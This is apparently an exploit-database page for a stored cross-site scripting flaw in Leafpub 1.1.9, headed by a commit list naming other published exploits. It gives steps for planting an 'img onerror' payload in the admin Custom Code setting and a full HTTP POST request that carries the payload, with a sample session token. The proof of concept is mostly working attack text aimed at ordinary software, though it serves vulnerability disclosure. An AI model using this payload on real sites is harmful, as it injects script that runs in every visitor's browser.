9d17a3d6ca
10 changes to exploits/shellcodes/ghdb CrushFTP < 11.1.0 - Directory Traversal Apache mod_proxy_cluster - Stored XSS CE Phoenix Version 1.0.8.20 - Stored XSS Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS) Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS) Prison Management System - SQL Injection Authentication Bypass PyroCMS v3.0.1 - Stored XSS Plantronics Hub 3.25.1 - Arbitrary File Read
39 lines
No EOL
1.7 KiB
Text
39 lines
No EOL
1.7 KiB
Text
# Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS)
|
|
# Date: 2024-04-24
|
|
# Exploit Author: Ahmet Ümit BAYRAM
|
|
# Vendor Homepage: https://github.com/Leafpub
|
|
# Software Link: https://github.com/Leafpub/leafpub
|
|
# Version: 1.1.9
|
|
# Tested on: MacOS
|
|
|
|
### Steps to Reproduce ###
|
|
|
|
- Please login from this address: http://localhost/leafpub/admin/login
|
|
- Click on the Settings > Advanced
|
|
- Enter the following payload into the "Custom Code" area and save it: ("><img
|
|
src=x onerror=alert("Stored")>)
|
|
- An alert message saying "Stored" will appear in front of you.
|
|
|
|
### PoC Request ###
|
|
|
|
POST /leafpub/api/settings HTTP/1.1
|
|
Host: localhost
|
|
Cookie:
|
|
authToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MTM5NjQ2MTcsImV4cCI6MTcxMzk2ODIxNywiZGF0YSI6eyJ1c2VybmFtZSI6ImFkbWluIn19.967N5NYdUKxv1sOXO_OTFiiLlm7sfgDWPXKX7iEZwlo
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
|
|
Gecko/20100101 Firefox/124.0
|
|
Accept: */*
|
|
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate, br
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 476
|
|
Origin: http://localhost
|
|
Referer: http://localhost/leafpub/admin/settings
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
Te: trailers
|
|
Connection: close
|
|
|
|
title=A+Leafpub+Blog&tagline=Go+forth+and+create!&homepage=&twitter=&theme=range&posts-per-page=10&cover=source%2Fassets%2Fimg%2Fleaves.jpg&logo=source%2Fassets%2Fimg%2Flogo-color.png&favicon=source%2Fassets%2Fimg%2Flogo-color.png&language=en-us&timezone=America%2FNew_York&default-title=Untitled+Post&default-content=Start+writing+here...&head-code=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22Stored%22)%3E&foot-code=&generator=on&mailer=default&maintenance-message=&hbs-cache=on |